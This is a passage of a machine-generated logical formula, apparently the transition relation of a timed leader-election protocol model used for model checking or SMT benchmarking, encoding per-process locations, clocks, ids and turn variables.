&& ((( !turn4) && (turn3 && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p9_saved_max) && (((_x_p9_l0 && ( !_x_p9_l1)) && (_x_p9_x == 0.0)) && ((( !_x_id4) && (_x_id3 && (( !_x_id2) && (_x_id0 && ( !_x_id1))))) && (proposed9 == _x_proposed9)))) || ( !((p9_l1 && ( !p9_l0)) && ((( !turn4) && (turn3 && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed9 == _x_proposed9)) && ((max_prop == _x_p9_saved_max) && (((( !_x_p9_l0) && ( !_x_p9_l1)) && (_x_p9_x == 0.0)) || ((_x_p9_l0 && _x_p9_l1) && (p9_x == _x_p9_x))))) || ( !((p9_l0 && ( !p9_l1)) && ((( !turn4) && (turn3 && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p9_saved_max) && (((( !_x_p9_l0) && ( !_x_p9_l1)) && (p9_x == _x_p9_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed9 <= _x_proposed9))))) || ( !((p9_l0 && p9_l1) && ((( !turn4) && (turn3 && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p8_l0) && ( !_x_p8_l1)) || (_x_p8_l0 && ( !_x_p8_l1))) || ((_x_p8_l1 && ( !_x_p8_l0)) || (_x_p8_l0 && _x_p8_l1))) && ( !(_x_proposed8 <= 0.0))) && ((_x_p8_x <= _x_proposed8) || ( !(_x_p8_l1 && ( !_x_p8_l0))))) && (((((p8_l0 == _x_p8_l0) && (p8_l1 == _x_p8_l1)) && ((delta + (p8_x + (-1.0 * _x_p8_x))) == 0.0)) && ((p8_saved_max == _x_p8_saved_max) && (proposed8 == _x_proposed8))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (turn3 && (( !turn2) && (( !turn0) && ( !turn1)))))))))) && (((((_x_p8_l1 && ( !_x_p8_l0)) && (_x_p8_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed8 == _x_proposed8))) && (max_prop == _x_p8_saved_max)) || ( !((( !p8_l0) && ( !p8_l1)) && ((( !turn4) && (turn3 && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p8_saved_max) && (((_x_p8_l0 && ( !_x_p8_l1)) && (_x_p8_x == 0.0)) && ((( !_x_id4) && (_x_id3 && (( !_x_id2) && (( !_x_id0) && ( !_x_id1))))) && (proposed8 == _x_proposed8)))) || ( !((p8_l1 && ( !p8_l0)) && ((( !turn4) && (turn3 && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed8 == _x_proposed8)) && ((max_prop == _x_p8_saved_max) && (((( !_x_p8_l0) && ( !_x_p8_l1)) && (_x_p8_x == 0.0)) || ((_x_p8_l0 && _x_p8_l1) && (p8_x == _x_p8_x))))) || ( !((p8_l0 && ( !p8_l1)) && ((( !turn4) && (turn3 && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p8_saved_max) && (((( !_x_p8_l0) && ( !_x_p8_l1)) && (p8_x == _x_p8_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed8 <= _x_proposed8))))) || ( !((p8_l0 && p8_l1) && ((( !turn4) && (turn3 && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p7_l0) && ( !_x_p7_l1)) || (_x_p7_l0 && ( !_x_p7_l1))) || ((_x_p7_l1 && ( !_x_p7_l0)) || (_x_p7_l0 && _x_p7_l1))) && ( !(_x_proposed7 <= 0.0))) && ((_x_p7_x <= _x_proposed7) || ( !(_x_p7_l1 && ( !_x_p7_l0))))) && (((((p7_l0 == _x_p7_l0) && (p7_l1 == _x_p7_l1)) && ((delta + (p7_x + (-1.0 * _x_p7_x))) == 0.0)) && ((p7_saved_max == _x_p7_saved_max) && (proposed7 == _x_proposed7))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (( !turn3) && (turn2 && (turn0 && turn1))))))))) && (((((_x_p7_l1 && ( !_x_p7_l0)) && (_x_p7_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed7 == _x_proposed7))) && (max_prop == _x_p7_saved_max)) || ( !((( !p7_l0) && ( !p7_l1)) && ((( !turn4) && (( !turn3) && (turn2 && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p7_saved_max) && (((_x_p7_l0 && ( !_x_p7_l1)) && (_x_p7_x == 0.0)) && ((( !_x_id4) && (( !_x_id3) && (_x_id2 && (_x_id0 && _x_id1)))) && (proposed7 == _x_proposed7)))) || ( !((p7_l1 && ( !p7_l0)) && ((( !turn4) && (( !turn3) && (turn2 && (turn0 && turn1)))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed7 == _x_proposed7)) && ((max_prop == _x_p7_saved_max) && (((( !_x_p7_l0) && ( !_x_p7_l1)) && (_x_p7_x == 0.0)) || ((_x_p7_l0 && _x_p7_l1) && (p7_x == _x_p7_x))))) || ( !((p7_l0 && ( !p7_l1)) && ((( !turn4) && (( !turn3) && (turn2 && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p7_saved_max) && (((( !_x_p7_l0) && ( !_x_p7_l1)) && (p7_x == _x_p7_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed7 <= _x_proposed7))))) || ( !((p7_l0 && p7_l1) && ((( !turn4) && (( !turn3) && (turn2 && (turn0 && turn1)))) && (delta == 0.0)))))) && (((((((((((( !_x_p6_l0) && ( !_x_p6_l1)) || (_x_p6_l0 && ( !_x_p6_l1))) || ((_x_p6_l1 && ( !_x_p6_l0)) || (_x_p6_l0 && _x_p6_l1))) && ( !(_x_proposed6 <= 0.0))) && ((_x_p6_x <= _x_proposed6) || ( !(_x_p6_l1 && ( !_x_p6_l0))))) && (((((p6_l0 == _x_p6_l0) && (p6_l1 == _x_p6_l1)) && ((delta + (p6_x + (-1.0 * _x_p6_x))) == 0.0)) && ((p6_saved_max == _x_p6_saved_max) && (proposed6 == _x_proposed6))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (( !turn3) && (turn2 && (turn1 && ( !turn0)))))))))) && (((((_x_p6_l1 && ( !_x_p6_l0)) && (_x_p6_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed6 == _x_proposed6))) && (max_prop == _x_p6_saved_max)) || ( !((( !p6_l0) && ( !p6_l1)) && ((( !turn4) && (( !turn3) && (turn2 && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p6_saved_max) && (((_x_p6_l0 && ( !_x_p6_l1)) && (_x_p6_x == 0.0)) && ((( !_x_id4) && (( !_x_id3) && (_x_id2 && (_x_id1 && ( !_x_id0))))) && (proposed6 == _x_proposed6)))) || ( !((p6_l1 && ( !p6_l0)) && ((( !turn4) && (( !turn3) && (turn2 && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed6 == _x_proposed6)) && ((max_prop == _x_p6_saved_max) && (((( !_x_p6_l0) && ( !_x_p6_l1)) && (_x_p6_x == 0.0)) || ((_x_p6_l0 && _x_p6_l1) && (p6_x == _x_p6_x))))) || ( !((p6_l0 && ( !p6_l1)) && ((( !turn4) && (( !turn3) && (turn2 && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p6_saved_max) && (((( !_x_p6_l0) && ( !_x_p6_l1)) && (p6_x == _x_p6_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed6 <= _x_proposed6))))) || ( !((p6_l0 && p6_l1) && ((( !turn4) && (( !turn3) && (turn2 && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((((((((((( !_x_p5_l0) && ( !_x_p5_l1)) || (_x_p5_l0 && ( !_x_p5_l1))) || ((_x_p5_l1 && ( !_x_p5_l0)) || (_x_p5_l0 && _x_p5_l1))) && ( !(_x_proposed5 <= 0.0))) && ((_x_p5_x <= _x_proposed5) || ( !(_x_p5_l1 && ( !_x_p5_l0))))) && (((((p5_l0 == _x_p5_l0) && (p5_l1 == _x_p5_l1)) && ((delta + (p5_x + (-1.0 * _x_p5_x))) == 0.0)) && ((p5_saved_max == _x_p5_saved_max) && (proposed5 == _x_proposed5))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (( !turn3) && (turn2 && (turn0 && ( !turn1)))))))))) && (((((_x_p5_l1 && ( !_x_p5_l0)) && (_x_p5_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed5 == _x_proposed5))) && (max_prop == _x_p5_saved_max)) || ( !((( !p5_l0) && ( !p5_l1)) && ((( !turn4) && (( !turn3) && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p5_saved_max) && (((_x_p5_l0 && ( !_x_p5_l1)) && (_x_p5_x == 0.0)) && ((( !_x_id4) && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) && (proposed5 == _x_proposed5)))) || ( !((p5_l1 && ( !p5_l0)) && ((( !turn4) && (( !turn3) && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed5 == _x_proposed5)) && ((max_prop == _x_p5_saved_max) && (((( !_x_p5_l0) && ( !_x_p5_l1)) && (_x_p5_x == 0.0)) || ((_x_p5_l0 && _x_p5_l1) && (p5_x == _x_p5_x))))) || ( !((p5_l0 && ( !p5_l1)) && ((( !turn4) && (( !turn3) && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p5_saved_max) && (((( !_x_p5_l0) && ( !_x_p5_l1)) && (p5_x == _x_p5_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed5 <= _x_proposed5))))) || ( !((p5_l0 && p5_l1) && ((( !turn4) && (( !turn3) && (turn2 && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p4_l0) && ( !_x_p4_l1)) || (_x_p4_l0 && ( !_x_p4_l1))) || ((_x_p4_l1 && ( !_x_p4_l0)) || (_x_p4_l0 && _x_p4_l1))) && ( !(_x_proposed4 <= 0.0))) && ((_x_p4_x <= _x_proposed4) || ( !(_x_p4_l1 && ( !_x_p4_l0))))) && (((((p4_l0 == _x_p4_l0) && (p4_l1 == _x_p4_l1)) && ((delta + (p4_x + (-1.0 * _x_p4_x))) == 0.0)) && ((p4_saved_max == _x_p4_saved_max) && (proposed4 == _x_proposed4))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (( !turn3) && (turn2 && (( !turn0) && ( !turn1)))))))))) && (((((_x_p4_l1 && ( !_x_p4_l0)) && (_x_p4_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed4 == _x_proposed4))) && (max_prop == _x_p4_saved_max)) || ( !((( !p4_l0) && ( !p4_l1)) && ((( !turn4) && (( !turn3) && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p4_saved_max) && (((_x_p4_l0 && ( !_x_p4_l1)) && (_x_p4_x == 0.0)) && ((( !_x_id4) && (( !_x_id3) && (_x_id2 && (( !_x_id0) && ( !_x_id1))))) && (proposed4 == _x_proposed4)))) || ( !((p4_l1 && ( !p4_l0)) && ((( !turn4) && (( !turn3) && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed4 == _x_proposed4)) && ((max_prop == _x_p4_saved_max) && (((( !_x_p4_l0) && ( !_x_p4_l1)) && (_x_p4_x == 0.0)) || ((_x_p4_l0 && _x_p4_l1) && (p4_x == _x_p4_x))))) || ( !((p4_l0 && ( !p4_l1)) && ((( !turn4) && (( !turn3) && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p4_saved_max) && (((( !_x_p4_l0) && ( !_x_p4_l1)) && (p4_x == _x_p4_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed4 <= _x_proposed4))))) || ( !((p4_l0 && p4_l1) && ((( !turn4) && (( !turn3) && (turn2 && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p3_l0) && ( !_x_p3_l1)) || (_x_p3_l0 && ( !_x_p3_l1))) || ((_x_p3_l1 && ( !_x_p3_l0)) || (_x_p3_l0 && _x_p3_l1))) && ( !(_x_proposed3 <= 0.0))) && ((_x_p3_x <= _x_proposed3) || ( !(_x_p3_l1 && ( !_x_p3_l0))))) && (((((p3_l0 == _x_p3_l0) && (p3_l1 == _x_p3_l1)) && ((delta + (p3_x + (-1.0 * _x_p3_x))) == 0.0)) && ((p3_saved_max == _x_p3_saved_max) && (proposed3 == _x_proposed3))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (( !turn3) && (( !turn2) && (turn0 && turn1))))))))) && (((((_x_p3_l1 && ( !_x_p3_l0)) && (_x_p3_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed3 == _x_proposed3))) && (max_prop == _x_p3_saved_max)) || ( !((( !p3_l0) && ( !p3_l1)) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p3_saved_max) && (((_x_p3_l0 && ( !_x_p3_l1)) && (_x_p3_x == 0.0)) && ((( !_x_id4) && (( !_x_id3) && (( !_x_id2) && (_x_id0 && _x_id1)))) && (proposed3 == _x_proposed3)))) || ( !((p3_l1 && ( !p3_l0)) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed3 == _x_proposed3)) && ((max_prop == _x_p3_saved_max) && (((( !_x_p3_l0) && ( !_x_p3_l1)) && (_x_p3_x == 0.0)) || ((_x_p3_l0 && _x_p3_l1) && (p3_x == _x_p3_x))))) || ( !((p3_l0 && ( !p3_l1)) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && (((max_prop == _x_p3_saved_max) && (((( !_x_p3_l0) && ( !_x_p3_l1)) && (p3_x == _x_p3_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed3 <= _x_proposed3))))) || ( !((p3_l0 && p3_l1) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn0 && turn1)))) && (delta == 0.0)))))) && (((((((((((( !_x_p2_l0) && ( !_x_p2_l1)) || (_x_p2_l0 && ( !_x_p2_l1))) || ((_x_p2_l1 && ( !_x_p2_l0)) || (_x_p2_l0 && _x_p2_l1))) && ( !(_x_proposed2 <= 0.0))) && ((_x_p2_x <= _x_proposed2) || ( !(_x_p2_l1 && ( !_x_p2_l0))))) && (((((p2_l0 == _x_p2_l0) && (p2_l1 == _x_p2_l1)) && ((delta + (p2_x + (-1.0 * _x_p2_x))) == 0.0)) && ((p2_saved_max == _x_p2_saved_max) && (proposed2 == _x_proposed2))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (( !turn3) && (( !turn2) && (turn1 && ( !turn0)))))))))) && (((((_x_p2_l1 && ( !_x_p2_l0)) && (_x_p2_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed2 == _x_proposed2))) && (max_prop == _x_p2_saved_max)) || ( !((( !p2_l0) && ( !p2_l1)) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p2_saved_max) && (((_x_p2_l0 && ( !_x_p2_l1)) && (_x_p2_x == 0.0)) && ((( !_x_id4) && (( !_x_id3) && (( !_x_id2) && (_x_id1 && ( !_x_id0))))) && (proposed2 == _x_proposed2)))) || ( !((p2_l1 && ( !p2_l0)) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed2 == _x_proposed2)) && ((max_prop == _x_p2_saved_max) && (((( !_x_p2_l0) && ( !_x_p2_l1)) && (_x_p2_x == 0.0)) || ((_x_p2_l0 && _x_p2_l1) && (p2_x == _x_p2_x))))) || ( !((p2_l0 && ( !p2_l1)) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((max_prop == _x_p2_saved_max) && (((( !_x_p2_l0) && ( !_x_p2_l1)) && (p2_x == _x_p2_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed2 <= _x_proposed2))))) || ( !((p2_l0 && p2_l1) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn1 && ( !turn0))))) && (delta == 0.0)))))) && (((((((((((( !_x_p1_l0) && ( !_x_p1_l1)) || (_x_p1_l0 && ( !_x_p1_l1))) || ((_x_p1_l1 && ( !_x_p1_l0)) || (_x_p1_l0 && _x_p1_l1))) && ( !(_x_proposed1 <= 0.0))) && ((_x_p1_x <= _x_proposed1) || ( !(_x_p1_l1 && ( !_x_p1_l0))))) && (((((p1_l0 == _x_p1_l0) && (p1_l1 == _x_p1_l1)) && ((delta + (p1_x + (-1.0 * _x_p1_x))) == 0.0)) && ((p1_saved_max == _x_p1_saved_max) && (proposed1 == _x_proposed1))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (( !turn3) && (( !turn2) && (turn0 && ( !turn1)))))))))) && (((((_x_p1_l1 && ( !_x_p1_l0)) && (_x_p1_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed1 == _x_proposed1))) && (max_prop == _x_p1_saved_max)) || ( !((( !p1_l0) && ( !p1_l1)) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p1_saved_max) && (((_x_p1_l0 && ( !_x_p1_l1)) && (_x_p1_x == 0.0)) && ((( !_x_id4) && (( !_x_id3) && (( !_x_id2) && (_x_id0 && ( !_x_id1))))) && (proposed1 == _x_proposed1)))) || ( !((p1_l1 && ( !p1_l0)) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed1 == _x_proposed1)) && ((max_prop == _x_p1_saved_max) && (((( !_x_p1_l0) && ( !_x_p1_l1)) && (_x_p1_x == 0.0)) || ((_x_p1_l0 && _x_p1_l1) && (p1_x == _x_p1_x))))) || ( !((p1_l0 && ( !p1_l1)) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p1_saved_max) && (((( !_x_p1_l0) && ( !_x_p1_l1)) && (p1_x == _x_p1_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed1 <= _x_proposed1))))) || ( !((p1_l0 && p1_l1) && ((( !turn4) && (( !turn3) && (( !turn2) && (turn0 && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((( !_x_p0_l0) && ( !_x_p0_l1)) || (_x_p0_l0 && ( !_x_p0_l1))) || ((_x_p0_l1 && ( !_x_p0_l0)) || (_x_p0_l0 && _x_p0_l1))) && ( !(_x_proposed0 <= 0.0))) && ((_x_p0_x <= _x_proposed0) || ( !(_x_p0_l1 && ( !_x_p0_l0))))) && (((((p0_l0 == _x_p0_l0) && (p0_l1 == _x_p0_l1)) && ((delta + (p0_x + (-1.0 * _x_p0_x))) == 0.0)) && ((p0_saved_max == _x_p0_saved_max) && (proposed0 == _x_proposed0))) || ( !(( !(delta <= 0.0)) || ( !(( !turn4) && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1)))))))))) && (((((_x_p0_l1 && ( !_x_p0_l0)) && (_x_p0_x == 0.0)) && ((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed0 == _x_proposed0))) && (max_prop == _x_p0_saved_max)) || ( !((( !p0_l0) && ( !p0_l1)) && ((( !turn4) && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p0_saved_max) && (((_x_p0_l0 && ( !_x_p0_l1)) && (_x_p0_x == 0.0)) && ((( !_x_id4) && (( !_x_id3) && (( !_x_id2) && (( !_x_id0) && ( !_x_id1))))) && (proposed0 == _x_proposed0)))) || ( !((p0_l1 && ( !p0_l0)) && ((( !turn4) && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && ((((((((id0 == _x_id0) && (id1 == _x_id1)) && (id2 == _x_id2)) && (id3 == _x_id3)) && (id4 == _x_id4)) && (proposed0 == _x_proposed0)) && ((max_prop == _x_p0_saved_max) && (((( !_x_p0_l0) && ( !_x_p0_l1)) && (_x_p0_x == 0.0)) || ((_x_p0_l0 && _x_p0_l1) && (p0_x == _x_p0_x))))) || ( !((p0_l0 && ( !p0_l1)) && ((( !turn4) && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((max_prop == _x_p0_saved_max) && (((( !_x_p0_l0) && ( !_x_p0_l1)) && (p0_x == _x_p0_x)) && ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) && ( !(proposed0 <= _x_proposed0))))) || ( !((p0_l0 && p0_l1) && ((( !turn4) && (( !turn3) && (( !turn2) && (( !turn0) && ( !turn1))))) && (delta == 0.0)))))) && (((((((((((((((((((((((((((((((((((((_x_id4 && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) || ((_x_id4 && (_x_id3 && (_x_id2 && (_x_id0 && ( !_x_id1))))) || ((_x_id4 && (_x_id3 && (_x_id2 && (( !_x_id0) && ( !_x_id1))))) || ((_x_id4 && (_x_id3 && (( !_x_id2) && (_x_id0 && _x_id1)))) || ((_x_id4 && (_x_id3 && (( !_x_id2) && (_x_id1 && ( !_x_id0))))) || ((_x_id4 && (_x_id3 && (( !_x_id2) && (_x_id0 && ( !_x_id1))))) || ((_x_id4 && (_x_id3 && (( !_x_id2) && (( !_x_id0) && ( !_x_id1))))) || ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && _x_id1)))) || ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id1 && ( !_x_id0))))) || ((_x_id4 && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) || ((_x_id4 && (( !_x_id3) && (_x_id2 && (( !_x_id0) && ( !_x_id1))))) || ((_x_id4 && (( !_x_id3) && (( !_x_id2) && (_x_id0 && _x_id1)))) || ((_x_id4 && (( !_x_id3) && (( !_x_id2) && (_x_id1 && ( !_x_id0))))) || ((_x_id4 && (( !_x_id3) && (( !_x_id2) && (_x_id0 && ( !_x_id1))))) || ((_x_id4 && (( !_x_id3) && (( !_x_id2) && (( !_x_id0) && ( !_x_id1))))) || ((( !_x_id4) && (_x_id3 && (_x_id2 && (_x_id0 && _x_id1)))) || ((( !_x_id4) && (_x_id3 && (_x_id2 && (_x_id1 && ( !_x_id0))))) || ((( !_x_id4) && (_x_id3 && (_x_id2 && (_x_id0 && ( !_x_id1))))) || ((( !_x_id4) && (_x_id3 && (_x_id2 && (( !_x_id0) && ( !_x_id1))))) || ((( !_x_id4) && (_x_id3 && (( !_x_id2) && (_x_id0 && _x_id1)))) || ((( !_x_id4) && (_x_id3 && (( !_x_id2) && (_x_id1 && ( !_x_id0))))) || ((( !_x_id4) && (_x_id3 && (( !_x_id2) && (_x_id0 && ( !_x_id1))))) || ((( !_x_id4) && (_x_id3 && (( !_x_id2) && (( !_x_id0) && ( !_x_id1))))) || ((( !_x_id4) && (( !_x_id3) && (_x_id2 && (_x_id0 && _x_id1)))) || ((( !_x_id4) && (( !_x_id3) && (_x_id2 && (_x_id1 && ( !_x_id0))))) || ((( !_x_id4) && (( !_x_id3) && (_x_id2 && (_x_id0 && ( !_x_id1))))) || ((( !_x_id4) && (( !_x_id3) && (_x_id2 && (( !_x_id0) && ( !_x_id1))))) || ((( !_x_id4) && (( !_x_id3) && (( !_x_id2) && (_x_id0 && _x_id1)))) || ((( !_x_id4) && (( !_x_id3) && (( !_x_id2) && (_x_id1 && ( !_x_id0))))) || ((( !_x_id4) && (( !_x_id3) && (( !_x_id2) && (( !_x_id0) && ( !_x_id1))))) || (( !_x_id4) && (( !_x_id3) && (( !_x_id2) && (_x_id0 && ( !_x_id1))))))))))))))))))))))))))))))))))) && ((_x_turn4 && (_x_turn3 && (_x_turn2 && (_x_turn0 && ( !_x_turn1))))) || ((_x_turn4 && (_x_turn3 && (_x_turn2 && (( !_x_turn0) && ( !_x_turn1))))) || ((_x_turn4 && (_x_turn3 && (( !_x_turn2) && (_x_turn0 && _x_turn1)))) || ((_x_turn4 && (_x_turn3 && (( !_x_turn2) && (_x_turn1 && ( !_x_turn0))))) || ((_x_turn4 && (_x_turn3 && (( !_x_turn2) && (_x_turn0 && ( !_x_turn1))))) || ((_x_turn4 && (_x_turn3 && (( !_x_turn2) && (( !_x_turn0) && ( !_x_turn1))))) || ((_x_turn4 && (( !_x_turn3) && (_x_turn2 && (_x_turn0 && _x_turn1)))) || ((_x_turn4 && (( !_x_turn3) && (_x_turn2 && (_x_turn1 && ( !_x_turn0))))) || ((_x_turn4 && (( !_x_turn3) && (_x_turn2 && (_x_turn0 && ( !_x_turn1))))) || ((_x_turn4 && (( !_x_turn3) && (_x_turn2 && (( !_x_turn0) && ( !_x_turn1))))) || ((_x_turn4 && (( !_x_turn3) && (( !_x_turn2) && (_x_turn0 && _x_turn1)))) || ((_x_turn4 && (( !_x_turn3) && (( !_x_turn2) && (_x_turn1 && ( !_x_turn0))))) || ((_x_turn4 && (( !_x_turn3) && (( !_x_turn2) && (_x_turn0 && ( !_x_turn1))))) || ((_x_turn4 && (( !_x_turn3) && (( !_x_turn2) && (( !_x_turn0) && ( !_x_turn1))))) || ((( !_x_turn4) && (_x_turn3 && (_x_turn2 && (_x_turn0 && _x_turn1)))) || ((( !_x_turn4) && (_x_turn3 && (_x_turn2 && (_x_turn1 && ( !_x_turn0))))) || ((( !_x_turn4) && (_x_turn3 && (_x_turn2 && (_x_turn0 && ( !_x_turn1))))) || ((( !_x_turn4) && (_x_turn3 && (_x_turn2 && (( !_x_turn0) && ( !_x_turn1))))) || ((( !_x_turn4) && (_x_turn3 && (( !_x_turn2) && (_x_turn0 && _x_turn1)))) || ((( !_x_turn4) && (_x_turn3 && (( !_x_turn2) && (_x_turn1 && ( !_x_turn0))))) || ((( !_x_turn4) && (_x_turn3 && (( !_x_turn2) && (_x_turn0 && ( !_x_turn1))))) || ((( !_x_turn4) && (_x_turn3 && (( !_x_turn2) && (( !_x_turn0) && ( !_x_turn1))))) || ((( !_x_turn4) && (( !_x_turn3) && (_x_turn2 && (_x_turn0 && _x_turn1)))) || ((( !_x_turn4) && (( !_x_turn3) && (_x_turn2 && (_x_turn1 && ( !_x_turn0))))) || ((( !_x_turn4) && (( !_x_turn3) && (_x_turn2 && (_x_turn0 && ( !_x_turn1))))) || ((( !_x_turn4) && (( !_x_turn3) && (_x_turn2 && (( !_x_turn0) && ( !_x_turn1))))) || ((( !_x_turn4) && (( !_x_turn3) && (( !_x_turn2) && (_x_turn0 && _x_turn1)))) || ((( !_x_turn4) && (( !_x_turn3) && (( !_x_turn2) && (_x_turn1 && ( !_x_turn0))))) || ((( !_x_turn4) && (( !_x_turn3) && (( !_x_turn2) && (( !_x_turn0) && ( !_x_turn1))))) || (( !_x_turn4) && (( !_x_turn3) && (( !_x_turn2) && (_x_turn0 && ( !_x_turn1))))))))))))))))))))))))))))))))))) 